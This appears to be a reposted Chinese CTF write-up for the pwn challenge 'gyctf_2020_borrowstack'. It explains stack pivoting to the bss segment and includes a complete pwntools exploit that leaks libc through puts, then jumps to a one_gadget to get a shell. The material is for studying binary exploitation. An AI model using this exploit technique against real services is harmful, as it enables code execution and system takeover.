gyctf_2020_borrowstack


這是我第一次拿着大佬的exp調試的棧遷移,有許多收獲,所以一定要記錄下來

流程分析

程序很簡單,不過,由於溢出后沒有什么可以在運行的了,所以我們需要將棧遷移到bss段中

 

 思路

通過兩次的新老leave,將棧遷移到bss段上,不過要盡量往高地址遷移,以免在其又一次運行main函數時候,申請的臨時變量的空間會覆蓋到了我們的got表中

from pwn import *

#p=remote('node3.buuoj.cn',25375)
#p=process('./gyctf_2020_borrowstack')
p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F')
elf=ELF('./gyctf_2020_borrowstack')
libc=ELF('../libc-2.23.so')

p.recv()
payload=0x60*b'a'+p64(0x601090)+p64(0x400699)
p.send(payload)
p.recv()
#p64(0x4004c9)*0x14
payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main'])
p.send(payload)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base=libc_base-libc.symbols['puts']
gdb.attach(p)
one_gadget=libc_base+0x4526a
payload=b'p'*0x60+b'pppppppp'+p64(one_gadget)
p.send(payload)
p.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM